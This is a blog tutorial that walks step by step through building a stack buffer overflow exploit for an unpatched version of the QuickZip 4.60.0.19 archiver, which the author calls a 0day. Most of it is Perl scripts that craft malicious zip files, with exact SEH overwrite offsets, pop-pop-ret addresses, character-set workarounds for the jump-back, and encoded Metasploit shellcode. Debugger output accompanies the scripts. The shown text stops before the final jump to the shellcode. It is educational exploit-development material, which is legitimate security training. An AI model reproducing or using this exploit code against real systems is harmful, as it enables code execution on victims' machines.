Please consider donating: https://www.corelan.be/index.php/donate/


7,979 views

QuickZip Stack BOF 0day: a box of chocolates

Over the last couple of weeks, ever since I published 2 articles on the Offensive Blog, I have received many requests from people asking me if they could get a copy of those articles in pdf format.  My blog does not include a pdf generator, but it has a “print” button, so you can get yourself a private copy (as long as you follow the terms of use, just like with any other post on this blog).

Anyways, I decided to combine the 2 articles into one article, and re-post them on my own blog, so you can read the entire article in one post.

Here we go.

Part 1

A few weeks ago, one of my friends (mr_me) pointed me to an application that appeared to be acting somewhat “buggy” while processing “specifically” crafted zip files.  After playing with the zip file structure for a while (thanks again, mr_me, for documenting the zip file structure), I found a way to make the application crash and overwrite a exception handler structure.

In this article, I will explain the steps I took to build an exploit for this bug.  All I’m asking from you, the reader, is to try not just to read this post and take my steps and decisions for granted.  Read it, and think about what you see, and try to think about what you would do to fix a certain issue.  Whenever a new problem arises, try to see if you can find the solution yourself before continuing to read.

In this post, I have placed a few markers. These markers indicate the moment when you should stop reading for a while and think about the current situation, the current questions and issues, and what YOU would do to overcome those issues.

This marker will look something like this :

=> This is a good time to take one step back => and think about how you would fix this

Please consider this post as a little exercise, not just as an explanation. If you take the time to think along (and try some things out yourself as we move forward), I promise you’ll have some fun with this one.

Remember : Exploiting is like a box of chocolates…  :-)

The vulnerable application I am referring to is QuickZip 4.60.0.19. I have contacted the author about this bug (because I like the concept of responsible disclosure).  The author replied to me that he will not fix this bug because he does not maintain this version anymore. He said he is working on version 5 (but this new version is has not been released yet).  In other words, the latest available version is vulnerable… which means this is a free 0day and unpatched bug.

Environment & tools

My test environment is based on a VirtualBox instance of Windows XP SP3 Professional (English), fully patched, running a copy of QuickZip 4.60.0.19, Immunity Debugger, a copy of my pvefindaddr (PyCommand plugin for Immunity) and perl (I used ActiveState Perl 5.8). If you are trying out the steps in this document in another environment, some offsets may be different.

Tip : you can check if you have the latest version of pvefindaddr using the following command (inside Immunity Debugger, run at the command bar at the bottom of the debugger) :

!pvefindaddr update

Some “words of wisdom” before I begin : 99% of writing exploit is about using your brains, 1% is using tools. Keep that in mind. Although a number of scripts, plugins, etc will help you finding information faster, you really have to think about what you want to do first.

The bug

This is what I have discovered :

Create a cyclic “Metasploit” pattern of 4064 bytes. (You can do this directly from within Immunity using my pvefindaddr plugin. Simply run the following command :

!pvefindaddr pattern_create 4064

(Open file mspattern.txt in the Immunity Debugger program folder and copy the pattern.)

Paste the pattern in the following perl script  (see “my $payload=”):

# Author : corelanc0d3r # http://www.corelan.be:8800 # March 2010 my $filename="corelanboom.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00". "x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00" . "xe4x0f" .# file size "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14". "x00x00x00x00x00xB7xACxCEx34x00x00x00" . "x00x00x00x00x00x00x00x00x00". "xe4x0f". # file size "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00x00x01x00x01x00". "x12x10x00x00". # Size of central directory (bytes) "x02x10x00x00". # Offset of start of central directory, # relative to start of archive "x00x00"; my $payload ="paste your 4064 byte metasploit pattern here"; $payload = $payload.".txt"; print "Size : " . length($payload)."n"; print "Removing old $filename filen"; system("del $filename"); print "Creating new $filename filen"; open(FILE, ">$filename"); print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header; close(FILE);

Create the zip file :

C:sploitsquickzip>perl zipboom.pl Size : 4068 Removing old corelanboom.zip file Could Not Find C:sploitsquickzipcorelanboom.zip Creating new corelanboom.zip file C:sploitsquickzip>

Trigger the overflow:

Open QuickZip and attach Immunity Debugger to it.  Let quickzip run.

From within QuickZip, open the corelanboom.zip file

image

Double-click on the filename (in the right hand pane)

The application crashes, and we see the following things in the debugger :

Registers :

image

Exception Message and SEH chain :

image

At first sight, there’s not much we can do with this.  It’s a crash. A lame local denial of service.  EIP is not overwritten, the SEH chain does not contain references to our cyclic pattern, none of the general purpose registers have been overwritten with our pattern, or even point to the pattern…

Some of you may decide to give up and move to another bug, and classify this one as “non exploitable”.

=> This is a good time to take one step back => and think about it. Would you have stopped now ? If not, what would you do ?

Ask yourself the question: If you would have encountered this crash for the first time, and this is what you see… would you have, honestly, continued the search, or would you have given up ?

The truth is : It doesn’t really matter. I just want to avoid that you just read this post without taking the time to stop and think about certain steps.

My approach to issues like this is : It’s not about the exploit, it’s about the bug.  Clearly there has gone something wrong when the application processed my evil zip file.  That’s a bug.  And it may not be the only bug.

Building an exploit for this may or may not have real value… but it’s a good exercise.

So, in case you’re still wondering…  I obviously continued the search… I tried harder and that usually pays off.

Despite the fact that the SEH chain is not overwritten… you can still pass the exception to the application (press Shift+F9 in Immunity), and see what happens :

image

Usually, the application will just die and that’s it.  But this time, instead of closing the application, another exception handler kicked in. And this one seems to contain a value that looks like to part of a metasploit pattern. Furthermore, some registers appear to point at the Metasploit pattern as well.

Time to bring out our exploiting swiss army knife : pvefindaddr

At crash time, run

!pvefindaddr suggest

This will perform some research about the crash and provide a report like the one below :

image

Because we used a cyclic pattern, the pvefindaddr plugin has been able to get some valuable information :

  • Memory addresses that point at the begin of the cyclic pattern,
  • Registers that point at our buffer,
  • The fact that a SEH record was overwritten,
  • The offset to overwriting SEH

Nice.  The output above indicates that the SEH record is overwritten after 297 bytes, so let’s validate and verify that this is correct :

# Author : corelanc0d3r # http://www.corelan.be:8800 # March 2010 my $filename="corelanboom.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00x00x00x00". "xB7xACxCEx34x00x00x00x00x00x00x00x00x00x00x00" . "xe4x0f" .# file size "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14x00x00x00". "x00x00xB7xACxCEx34x00x00x00". "x00x00x00x00x00x00x00x00x00". "xe4x0f". # file size "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00x00x01x00x01x00". "x12x10x00x00". # Size of central directory (bytes) "x02x10x00x00". # Offset of start of central directory, relative to # start of archive "x00x00"; #this is the length of the filename I will create inside the zip my $size=4064; #hit next SEH after 297 bytes my $junk = "x41" x 297; # nseh my $nseh="BBBB"; # SE Handler my $seh="CCCC"; my $payload = $junk.$nseh.$seh; # fill up to 4064 bytes and add .txt file extension my $rest = "D" x ($size - length($payload)); $payload = $payload . $rest. ".txt"; print "Size : " . length($payload)."n"; print "Removing old $filename filen"; system("del $filename"); print "Creating new $filename filen"; open(FILE, ">$filename"); print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header; close(FILE);

Trigger the crash, pass the exception to the application and look at the SEH chain :

image

Ah – nice! That’s exactly what we expected. So it should only take me a few more minutes to turn this into an arbitrary code execution exploit.

Note : on physical machines or other virtualization platforms, the offset may be different.  Try using 294 bytes before nseh, or try 300 bytes.

Pass the exception to the application again :

image

How much time would you need to build a working exploit for this one ? We own EIP, and we see pointers to our payload on the stack.

10 minutes ? 5 minutes ?

Build SEH exploit – 5 minutes of work

If you are familiar with SEH based exploits, you already know that there are 2 ways to approach this kind of exploits. You can try to find a pop pop ret pointer in a dll that is not compiled with safeseh (application dll’s or – if you don’t have any other option, an OS dll), or use a ppr pointer from the application itself, assuming that the application binary is not safeseh compiled. The latter will increase the reliability of the exploit across multiple versions of the Windows operating system, (but you may  have to deal with a null byte).

I strongly recommend you to try to build this exploit yourself.  Try to use a pop pop ret address from quickzip.exe and see how far you get.

If you are ready to give up, come back here.

=> Try to build the exploit yourself. Don’t use this post as a cheatsheet !

Did your exploit work ?

Ok, since you are reading this, you either have found a way to build the exploit yourself, or you gave up and decided to follow the story-line below

The fist thing that you probably did (and should do) is find a pointer to a “pop pop ret” address inside quickzip.exe (if it’s not safeseh protected.)

Start by figuring out what modules are safeseh protected and which ones aren’t.  You can use the !pvefindaddr nosafeseh command :

Log data Address Message 0BADF00D 0BADF00D 0BADF00D ************************************** 0BADF00D Getting safeseh table - please wait... 0BADF00D ************************************** 0BADF00D 0BADF00D 0BADF00D [nosafeseh] Getting safeseh status for loaded modules : 0BADF00D Safeseh unprotected modules : 0BADF00D * 0x00400000 - 0x00836000 : QuickZip.exe 0BADF00D * 0x77b20000 - 0x77b32000 : MSASN1.dll 0BADF00D * 0x75150000 - 0x75163000 : cabinet.dll 0BADF00D * 0x73dc0000 - 0x73dc3000 : LZ32.DLL 0BADF00D * 0x73ee0000 - 0x73ee4000 : Ksuser.dll 0BADF00D * 0x736b0000 - 0x736b7000 : Msdmo.dll 0BADF00D * 0x76b20000 - 0x76b31000 : ATL.DLL 0BADF00D * 0x77050000 - 0x77115000 : COMRes.dll 0BADF00D * 0x76780000 - 0x76789000 : SHFOLDER.dll 0BADF00D * 0x6d7e0000 - 0x6d7f2000 : D3DXOF.DLL 0BADF00D 0BADF00D

That looks good – QuickZip.exe is not safeseh protected.

Now search for all valid pop pop return pointers, using the following command :  !pvefindaddr p

(This command will search in all non-safeseh compiled modules and will produce all possible pop pop ret combinates. This will take a while, and the list may be too large to fit in the Log Windows screen, but all output will be written to a file called ppr.txt, which can be found in the Immunity Debugger program folder).

image

8227 addresses.  Plenty of choice. The first entry in the ppr.txt file should do : 0x0040DB2C, so that is the address we will use to overwrite the SE Handler with :

image

At next SEH (when using a SE Handler address that starts with a null byte), we usually will put some code to jump back.   After all, the null byte would acts as a string terminator and it does not make sense to put something after the SE Handler address (after all, you would not be able to jump to it anyway, right ?)

Typically, in a scenario like this, we want to do a short jump back… this jumpback opcode looks like this :xebxf0xffxff  (so basically, jump back 10 bytes)

Our exploit payload structure would look something like this :

“A” x 297 + jumpback code + pointer to pop pop ret + more junk (to fill up to 4068 bytes)

=> This is a good time to take one step back => and think about how you would have approached this

Does all of this still make sense ?

Question : Would you have considered adding more junk after the null byte pointer to pop pop ret ?  Or would you have assumed that the null byte will acts as a string terminator and that it has no purpose to add more stuff after the address ? After all, we will be writing a binary file (zip file), not just a text file… so *maybe* the null byte in the pointer address won’t cause any issues…

Let’s find out. Let’s see if our pop pop ret works, and if we have issues with our null byte address :

# Author : corelanc0d3r # http://www.corelan.be:8800 # March 2010 my $filename="corelanboom.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00x00x00x00". "xB7xACxCEx34x00x00x00x00x00x00x00x00x00x00x00" . "xe4x0f" .# file size "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14x00x00x00". "x00x00xB7xACxCEx34x00x00x00". "x00x00x00x00x00x00x00x00x00". "xe4x0f". # file size "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00x00x01x00x01x00". "x12x10x00x00". # Size of central directory (bytes) "x02x10x00x00". # Offset of start of central directory, relative to # start of archive "x00x00"; #this is the length of the filename I will create inside the zip my $size=4064; #hit next SEH after 297 bytes my $junk = "x41" x 297; # nseh : jump back 10 bytes my $nseh="xebxf0xffxff"; # SE Handler : ppr from quickzip.exe : my $seh=pack('V',0x0040DB2C); my $payload = $junk.$nseh.$seh; # fill up to 4064 bytes and add .txt file extension my $rest = "D" x ($size - length($payload)); $payload = $payload . $rest. ".txt"; print "Size : " . length($payload)."n"; print "Removing old $filename filen"; system("del $filename"); print "Creating new $filename filen"; open(FILE, ">$filename"); print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header; close(FILE);

Trigger the crash and look at SEH chain (and the SE structure on the stack)

image

Ok, what do we see here ?

– the SEH chain looks entirely different that what we had expected: next SEH contains A0A03D64  and SE Handler contains 0040A62C

– no trace of D’s (null byte terminator did do it’s job so it seems)

=> This is a good time to take one step back => and think about possible reasons why this has happened

Damn ! 5 minutes of work and we are in trouble.

Hmmm – ok, that’s not what we had expected. We clearly see that our payload got corrupted or converted…

The jump back and pointer to pop pop ret both got mangled pretty bad…  The offset to nSEH and SEH is still ok, but it looks like some kind of conversion happened before my buffer was pushed onto the stack.

The A’s that were put in the buffer (before overwriting the SEH record) are intact.  The D’s (after the SE structure) are gone.  But I don’t really care about that right now.

What happened to the nseh and seh addresses ?  They got mangled.  But why did they get mangled ?

Try to figure that out first, and then continue reading.

The payload we are using will be used to construct a filename inside the zip file.  So if we are dealing with a filename, then it is very likely that we can only use characters that would be valid in a filename.  That’s a character set limitation. After all, filenames only support some ascii characters (numbers, ascii characters…and some other characters… stuff that is accepted as a valid character in a filename).  So that explains why our nseh and seh content got messed up.

The null byte in the SE Handler address is still there, so that one did not get mangled.  The D’s (that were written in the payload after overwriting the SEH structure) are gone… But that’s ok… it’s what you had expected, right ?  As long as we can get an access violation to trigger the SE Handler, we should be fine.

Open ppr.txt again and look for other ppr pointers that only contain hex values that would correspond with what I’ll call “filename compatible characters”.

image

Take for example 0x0040322B.   0x40 = @, 0x32 = 2, 0x2B = +  => all characters that are valid in a filename.

Put this address in SE Handler, and let’s set nSEH back to BBBB for now.  We just want to know if our ppr address works.

Change the 2 values in the perl script, create a new zip file, and trigger the crash again

my $nseh="BBBB"; # SE Handler : ppr from quickzip.exe : my $seh=pack('V',0x0040322B);

image

Ah yes. SE Handler looks fine now, so hurdle 1 is taken. But I’ll need to keep this “little character set limitation” in mind.  It may cause some other issues along the way.

Let’s verify that the 4 bytes (BBBB) at nseh are still ok.

First, set a breakpoint at the pointer to pop pop ret :

bp 0x0040322B

Pass the exception to the application (Shift F9).  This should invoke the handler and the breakpoint should be hit. If all goes well, we should see our pop pop ret instruction

image

Press F7 to step through the pop pop ret instructions, and verify that, when RET is executed, we land at our 4 B’s :

image

Nice.

This is what we have so far :

297 A’s + nseh (BBBB here) + seh.  Again, there’s no trace of the D’s that were put in the payload after nseh and seh, but that’s ok for now.

Typically, when we encounter a situation similar to this one, we probably would want to do something like this :

nops + shellcode + nops + “far_jump_back_to_shellcode” + nseh (short jump back to “far_jump_back_to_shellcode”) + seh + junk

The question is : how can we do the short jump back if the jump back opcode should be “filename-compatible too” ? (limited character set).

Jumping back ?

Remember when we used xebxf0xffxff as jump back code ?… As you could see on the stack, it got converted/corrupted/whatever you want to call it,  into x64x3dxA0xA0

How can we make the jump if the opcode to make the jump gets mangled?

=> This is a good time to take one step back => and think about it : What would you would do ?

This is what I did.

There are other ways to jump… You could try to use a “conditional jump” for example. You can read about it at the end of this post.  Conditional jumps are jumps that are taken (or not taken) based on a condition. Deciding whether a jump is made or not, could be based upon the value of a register (say for example jump if eax or ecx are zero or not), or could be based upon the value of a flag and so on.

If you look at the list with conditional jump opcodes, we can find some instructions that use opcodes within the range of our character set : 72, 73, 74, 75 and so on.

Most (if not all) of the conditional jumps in the list at the end of this page (the list of opcodes that are “filename-compatible” are mostly making a jump based on flag status)

So we need to know the content of the flags right after the pop pop ret was executed.  (set a breakpoint at the pop pop ret address, and then step through until right after the ret instruction is executed). When you look at the flags, you get this :

EAX 7C9032A8 ntdll.7C9032A8 ECX 0040322B QuickZip.0040322B EDX 0012F698 EBX 00000000 ESP 0012F5BC EBP 0012F5D0 ESI 00000000 EDI 00000000 EIP 0012FBFC C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 1 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDE000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_FILENAME_EXCED_RANGE (000000CE) EFL 00200246 (NO,NB,E,BE,NS,PE,GE,LE) ST0 empty -??? FFFF 00000000 00000000 ST1 empty -??? FFFF 00000000 00000000 ST2 empty 18805024.000000000000 ST3 empty 18806104.000000000000 ST4 empty 18806776.000000000000 ST5 empty 18805024.000000000000 ST6 empty 18806104.000000000000 ST7 empty 18804712.000000000000 3 2 1 0 E S P U O Z D I FST 0020 Cond 0 0 0 0 Err 0 0 1 0 0 0 0 0 (GT) FCW 1377 Prec NEAR,64 Mask 1 1 0 1 1 1

CF = 0, PF = 1, AF = 0, ZF = 1 and so on.  So based on the state of the flags, opcodes 0x73  (jump if ZF = 1) or 0x74 (jump if ZF = 1) would be good options.

Obviously, the jump opcode needs an offset…. an offset that would make a jump back.

The offset we tried to use earlier was 0xf0.  After it was processed by the application, it became 3D.. and that’s not a jump back.. So we cannot do that.

=> This is a good time to take one step back => and think about it : What would you would do ?

This is what I did.  I tried.  I just started at 0xfe and went down (0xfd, 0xfc, 0xfa and so on). The initial plan was to to see if I could find a relation between the original value and the value it got converted into.

I could not find a direct relation, but I discovered that bytes such as 0xf1 get converted into bytes that would allow me to jump back.  0xf1, for example, gets converted to 0xB1, and that’s a jump back.  In fact, it’s a jump back of 0x4D bytes (77 bytes).   So if we put 0x73 0xf9 0xff 0xff at nseh, we will be able to perform a backward jump.

That’s ok, but it may be not far enough for shellcode, and it may be too far to place another far jump back, because we would loose 77 bytes (and we only have like 297 bytes to start with). On the other hand, we can already run some nice code with 77 bytes or with 220 bytes. So we have some options.

At the same time, it brings up the question about shellcode and size.

77 bytes, 220 bytes, 297 bytes… that’s great… but if you want to run some decent shellcode it will not be enough.  Furthermore, we still need to think about the character set limitation.

Ok, we can jump back.  What’s next ?

We basically have 3 remaining issues :

  • we need to get shellcode that will survive the character set limitation
  • we need to be able to find enough space to host the shellcode, or find shellcode that would be small enough and still do something useful
  • we need to be able to jump to the shellcode
=> This is a good time to take one step back => and think about it : What would you would do ?

What was your first thought when you read the first issue ? “get shellcode that will be “filename-compatible”-proof ?” You thought about encoding it, right ?

You assumed that the shellcode needs to be encoded to survive the conversion… but perhaps you forgot two essentials things :

  • the available space (297 bytes) would not be big enough to hold decent code – and if you will need to encode the shellcode, it would only grow bigger.
  • you are not even sure if the memory location where these 297 bytes are hosted, is the only place where you can put your shellcode.

After all, we have written a large amount of D’s into the zip file. Ok, you may not see them on the stack (when the overflow occurs), but that does not mean it’s gone.

Don’t just assume things.  Test. Try.  Try harder if you don’t succeed straight away

Where can we put our shellcode ? And can we use shellcode > 297 bytes ?

So let’s find out if we have other options to put our shellcode. Instead of writing D’s after seh, we’ll use a Metasploit pattern.

We can use the 4064 byte metasploit pattern from earlier – we just have to truncate it so the total size of the payload would not be larger.

Code :

(paste your metasploit pattern in the $mspattern variable)

# Author : corelanc0d3r # http://www.corelan.be:8800 # March 2010 my $filename="corelanboom.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00x00x00x00". "xB7xACxCEx34x00x00x00x00x00x00x00x00x00x00x00" . "xe4x0f" .# file size "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14x00x00x00". "x00x00xB7xACxCEx34x00x00x00". "x00x00x00x00x00x00x00x00x00". "xe4x0f". # file size "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00x00x01x00x01x00". "x12x10x00x00". # Size of central directory (bytes) "x02x10x00x00". # Offset of start of central directory, relative to # start of archive "x00x00"; #this is the length of the filename I will create inside the zip my $mspattern="paste your 4064 byte metasploit pattern here"; my $size=4064; #hit next SEH after 297 bytes my $junk = "x41" x 297; # nseh : jump back # does not really matter yet my $nseh="x73xf9xffxff"; # SE Handler : ppr from quickzip.exe : my $seh=pack('V',0x0040322B); my $payload = $junk.$nseh.$seh; # fill up to 4064 bytes and add .txt file extension my $restsize = $size - length($payload); # truncate metasploit pattern so total payload length will be 4064 my $rest = substr($mspattern,0,$restsize); $payload = $payload . $rest. ".txt"; print "Size : " . length($payload)."n"; print "Removing old $filename filen"; system("del $filename"); print "Creating new $filename filen"; open(FILE, ">$filename"); print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header; close(FILE);

Create zip, trigger crash, get pop pop ret to execute, and you should land at the jump back

image

Now stop stepping through and run the following command in Immunity :

!pvefindaddr findmsp

This will search all process memory for metasploit pattern.  So, in other words, if it can find the metasploit pattern, it means that it got loaded by quickzip and that also means that we may be able to take advantage of that.

Result :

image

Cool – we can find the metasploit pattern in memory (heap).   So that means that we are not limited to the 297 bytes at the beginning of the payload.

If that happens, we may have to use an egg hunter to get to the shellcode location, but we’ll get to that in a minute.

First, we need to check if that location is also subject to our character set limitation. The metasploit pattern uses filename-compatible characters already, so we need something else to test.  We can do this by generating some real shellcode, writing it into the zip file (instead of the metasploit pattern), and writing it to a separate file at the same time. That setup will allow us to use another feature of the pvefindaddr plugin.

Generate some shellcode (and do some basic alphanum encoding on it, just to be sure):

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/messagebox TITLE=Corelan TEXT="Corelan says hi to all Offsec Blog Visitors" R | ./msfencode -e x86/alpha_upper -t perl [*] x86/alpha_upper succeeded with size 667 (iteration=1) my $buf = "x89xe7xd9xe5xd9x77xf4x58x50x59x49x49x49x49" . "x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" . "x58x34x41x50x30x41x33x48x48x30x41x30x30x41" . "x42x41x41x42x54x41x41x51x32x41x42x32x42x42" . "x30x42x42x58x50x38x41x43x4ax4ax49x49x49x4a" . "x4bx4dx4bx49x49x43x44x51x34x4ax54x50x31x48" . "x52x4ex52x42x5ax46x51x49x59x42x44x4cx4bx42" . "x51x46x50x4cx4bx43x46x44x4cx4cx4bx43x46x45" . "x4cx4cx4bx47x36x43x38x4cx4bx43x4ex51x30x4c" . "x4bx46x56x50x38x50x4fx42x38x43x45x4cx33x46" . "x39x43x31x48x51x4bx4fx4bx51x43x50x4cx4bx42" . "x4cx51x34x47x54x4cx4bx50x45x47x4cx4cx4bx46" . "x34x45x55x44x38x45x51x4ax4ax4cx4bx51x5ax44" . "x58x4cx4bx50x5ax47x50x43x31x4ax4bx4bx53x47" . "x47x51x59x4cx4bx50x34x4cx4bx43x31x4ax4ex46" . "x51x4bx4fx46x51x4fx30x4bx4cx4ex4cx4bx34x49" . "x50x44x34x44x4ax4fx31x48x4fx44x4dx43x31x49" . "x57x4bx59x4ax51x4bx4fx4bx4fx4bx4fx47x4bx43" . "x4cx47x54x51x38x43x45x49x4ex4cx4bx51x4ax46" . "x44x43x31x4ax4bx42x46x4cx4bx44x4cx50x4bx4c" . "x4bx51x4ax45x4cx43x31x4ax4bx4cx4bx44x44x4c" . "x4bx43x31x4bx58x4bx39x47x34x46x44x45x4cx43" . "x51x4fx33x48x32x43x38x46x49x4ex34x4cx49x4d" . "x35x4cx49x49x52x42x48x4cx4ex50x4ex44x4ex4a" . "x4cx51x42x4dx38x4dx4cx4bx4fx4bx4fx4bx4fx4b" . "x39x50x45x43x34x4fx4bx43x4ex48x58x4bx52x42" . "x53x4dx57x45x4cx46x44x51x42x4dx38x4cx4bx4b" . "x4fx4bx4fx4bx4fx4cx49x51x55x43x38x43x58x42" . "x4cx42x4cx47x50x4bx4fx43x58x46x53x50x32x46" . "x4ex43x54x45x38x44x35x43x43x43x55x44x32x4d" . "x58x51x4cx46x44x44x4ax4bx39x4dx36x46x36x4b" . "x4fx50x55x45x54x4dx59x48x42x50x50x4fx4bx4f" . "x58x4ex42x50x4dx4fx4cx4bx37x45x4cx51x34x50" . "x52x4dx38x51x4ex4bx4fx4bx4fx4bx4fx42x48x42" . "x4cx43x51x42x4ex50x58x42x48x51x53x42x4fx44" . "x32x45x35x50x31x49x4bx4cx48x51x4cx51x34x43" . "x37x4cx49x4ax43x43x58x42x4fx44x32x43x43x50" . "x58x42x48x42x49x43x43x42x49x44x34x42x48x42" . "x4fx42x47x51x30x51x46x45x38x45x33x47x50x51" . "x52x42x4cx45x38x42x46x45x36x44x33x45x35x45" . "x38x42x4cx42x4cx47x50x50x4fx43x58x44x34x42" . "x4fx47x50x45x31x45x38x51x30x43x58x45x39x47" . "x50x43x58x43x43x45x31x42x59x43x43x42x48x42" . "x4cx43x51x42x4ex47x50x43x58x50x43x42x4fx44" . "x32x42x45x50x31x49x59x4bx38x50x4cx51x34x46" . "x4bx4cx49x4bx51x46x51x49x42x46x32x46x33x46" . "x31x51x42x4bx4fx4ex30x46x51x4fx30x46x30x4b" . "x4fx46x35x44x48x45x5ax41x41";

Tip : want to try the messagebox metasploit payload yourself ? You can get a copy of this module here (link can be found at end of page)

Change the perl code to write the shellcode to the buffer after overwriting SE, and add some junk before and after (just to be sure). Write the shellcode to a separate file too.  Code will look like this :

# Author : corelanc0d3r # http://www.corelan.be:8800 # March 2010 my $filename="corelanboom.zip"; my $ldf_header = "x50x4Bx03x04x14x00x00x00x00x00". "xB7xACxCEx34x00x00x00x00x00x00x00x00x00x00x00" . "xe4x0f" .# file size "x00x00x00"; my $cdf_header = "x50x4Bx01x02x14x00x14x00x00x00". "x00x00xB7xACxCEx34x00x00x00". "x00x00x00x00x00x00x00x00x00". "xe4x0f". # file size "x00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; my $eofcdf_header = "x50x4Bx05x06x00x00x00x00x01x00x01x00". "x12x10x00x00". # Size of central directory (bytes) "x02x10x00x00". # Offset of start of central directory, relative to # start of archive "x00x00"; my $shellcode = "x89xe7xd9xe5xd9x77xf4x58x50x59x49x49x49x49" . "x43x43x43x43x43x43x51x5ax56x54x58x33x30x56" . "x58x34x41x50x30x41x33x48x48x30x41x30x30x41" . "x42x41x41x42x54x41x41x51x32x41x42x32x42x42" . "x30x42x42x58x50x38x41x43x4ax4ax49x49x49x4a" . "x4bx4dx4bx49x49x43x44x51x34x4ax54x50x31x48" . "x52x4ex52x42x5ax46x51x49x59x42x44x4cx4bx42" . "x51x46x50x4cx4bx43x46x44x4cx4cx4bx43x46x45" . "x4cx4cx4bx47x36x43x38x4cx4bx43x4ex51x30x4c" . "x4bx46x56x50x38x50x4fx42x38x43x45x4cx33x46" . "x39x43x31x48x51x4bx4fx4bx51x43x50x4cx4bx42" . "x4cx51x34x47x54x4cx4bx50x45x47x4cx4cx4bx46" . "x34x45x55x44x38x45x51x4ax4ax4cx4bx51x5ax44" . "x58x4cx4bx50x5ax47x50x43x31x4ax4bx4bx53x47" . "x47x51x59x4cx4bx50x34x4cx4bx43x31x4ax4ex46" . "x51x4bx4fx46x51x4fx30x4bx4cx4ex4cx4bx34x49" . "x50x44x34x44x4ax4fx31x48x4fx44x4dx43x31x49" . "x57x4bx59x4ax51x4bx4fx4bx4fx4bx4fx47x4bx43" . "x4cx47x54x51x38x43x45x49x4ex4cx4bx51x4ax46" . "x44x43x31x4ax4bx42x46x4cx4bx44x4cx50x4bx4c" . "x4bx51x4ax45x4cx43x31x4ax4bx4cx4bx44x44x4c" . "x4bx43x31x4bx58x4bx39x47x34x46x44x45x4cx43" . "x51x4fx33x48x32x43x38x46x49x4ex34x4cx49x4d" . "x35x4cx49x49x52x42x48x4cx4ex50x4ex44x4ex4a" . "x4cx51x42x4dx38x4dx4cx4bx4fx4bx4fx4bx4fx4b" . "x39x50x45x43x34x4fx4bx43x4ex48x58x4bx52x42" . "x53x4dx57x45x4cx46x44x51x42x4dx38x4cx4bx4b" . "x4fx4bx4fx4bx4fx4cx49x51x55x43x38x43x58x42" . "x4cx42x4cx47x50x4bx4fx43x58x46x53x50x32x46" . "x4ex43x54x45x38x44x35x43x43x43x55x44x32x4d" . "x58x51x4cx46x44x44x4ax4bx39x4dx36x46x36x4b" . "x4fx50x55x45x54x4dx59x48x42x50x50x4fx4bx4f" . "x58x4ex42x50x4dx4fx4cx4bx37x45x4cx51x34x50" . "x52x4dx38x51x4ex4bx4fx4bx4fx4bx4fx42x48x42" . "x4cx43x51x42x4ex50x58x42x48x51x53x42x4fx44" . "x32x45x35x50x31x49x4bx4cx48x51x4cx51x34x43" . "x37x4cx49x4ax43x43x58x42x4fx44x32x43x43x50" . "x58x42x48x42x49x43x43x42x49x44x34x42x48x42" . "x4fx42x47x51x30x51x46x45x38x45x33x47x50x51" . "x52x42x4cx45x38x42x46x45x36x44x33x45x35x45" . "x38x42x4cx42x4cx47x50x50x4fx43x58x44x34x42" . "x4fx47x50x45x31x45x38x51x30x43x58x45x39x47" . "x50x43x58x43x43x45x31x42x59x43x43x42x48x42" . "x4cx43x51x42x4ex47x50x43x58x50x43x42x4fx44" . "x32x42x45x50x31x49x59x4bx38x50x4cx51x34x46" . "x4bx4cx49x4bx51x46x51x49x42x46x32x46x33x46" . "x31x51x42x4bx4fx4ex30x46x51x4fx30x46x30x4b" . "x4fx46x35x44x48x45x5ax41x41"; my $size=4064; #hit next SEH after 297 bytes my $junk = "x41" x 297; # nseh : jump back 10 bytes my $nseh="x73xf9xffxff"; # SE Handler : ppr from quickzip.exe : my $seh=pack('V',0x0040322B); #add some nops. A (0x41 will act as nop) my $nops = "A" x 30; #write the shellcode after the nops my $payload = $junk.$nseh.$seh.$nops.$shellcode; # fill up to 4064 bytes and add .txt file extension my $restsize = $size - length($payload); my $rest = "D" x $restsize; $payload = $payload . $rest. ".txt"; print "Size : " . length($payload)."n"; print "Removing old $filename filen"; system("del $filename"); print "Creating new $filename filen"; open(FILE, ">$filename"); print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header; close(FILE); # now also write shellcode to separate file open(FILE,">c:\shellcode.bin"); print FILE $shellcode; close(FILE);

Create zip file again, trigger crash, set breakpoint at pop pop ret, step through (to get pop pop ret to execute), and then stop right before the jump back is made (at nseh).

Now run the following command :

!pvefindaddr compare c:shellcode.bin

This will do 2 things :

  • it will locate all instances of the shellcode in process memory (stack + heap)
  • it will compare the instances in memory with the original shellcode (the one that was written to shellcode.bin in our example) and see if there are any differences.

Based on our test with the metasploit pattern, we should find 2 instances in memory.  And if some kind of characterset conversion/corruption took place, then you will see that too.

Output :

image

Ok – that’s looks promising!   Our shellcode can be found in memory (even though it was positioned in our buffer after a null byte), and it did not get corrupted.  Furthermore, this code was 667 bytes, so we are not limited to 297 bytes anymore either.   This means that – if we can jump to it  (or get an egg hunter find it), we win.

